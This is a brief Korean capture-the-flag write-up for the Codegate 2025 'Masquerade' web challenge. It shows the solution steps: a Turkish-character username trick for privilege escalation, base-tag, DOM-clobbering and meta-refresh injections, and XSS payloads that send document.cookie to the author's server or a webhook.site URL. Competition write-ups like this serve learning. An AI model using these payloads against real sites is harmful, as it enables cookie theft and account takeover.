codegate 2025-Masquerade

 

1.터키어를 이용한 권한변경
d760525e-a019-4dcc-a9bb-107768cbdec3
1234
admın

4aeadcf5-fd2c-4113-b0c1-6dbdd7d1aa64
1234
ıNSPECTOR
2.base tag를 이용한 내서버로 리다이렉트
<base href="http://내서버ip/">

3. 내서버에서 admin/test페이지로 리다이렉트후 내서버로 다시 리다이렉트
http://내서버ip/admin/test/?title=%3Cimg%20src=%22x%22%20onerror=%22location.href=%27http://내서버ip/codegate/%27%2bdocument.cookie%22%3E&content=b

 

분발해야겠다!

 

추가

base태그 말고도 두가지방식이 더있었다.

Dom clobbering- name을 통해 window.conf에 접근하면서 deleteurl의 값을 변경
<form action="test" name="conf"><a id="conf" name="deleteUrl" href="../admin/test/?title=%3Cimg%20src=%22x%22%20onerror=%22location.href=%27http://내서버ip/codegate/%27%2bdocument.cookie%22%3E&content=b"></a></form>

meta tag http-equiv= refresh값을 통한 강제이동
<meta http-equiv="refresh" content="0; url="/admin/test/?title=a&content=%3Cimg%20src=x%20onerror=window.location=`https://webhook.site/cd9e81c1-e394-4cc4-9d50-b388fee3201e?${{document.cookie}}`%3E">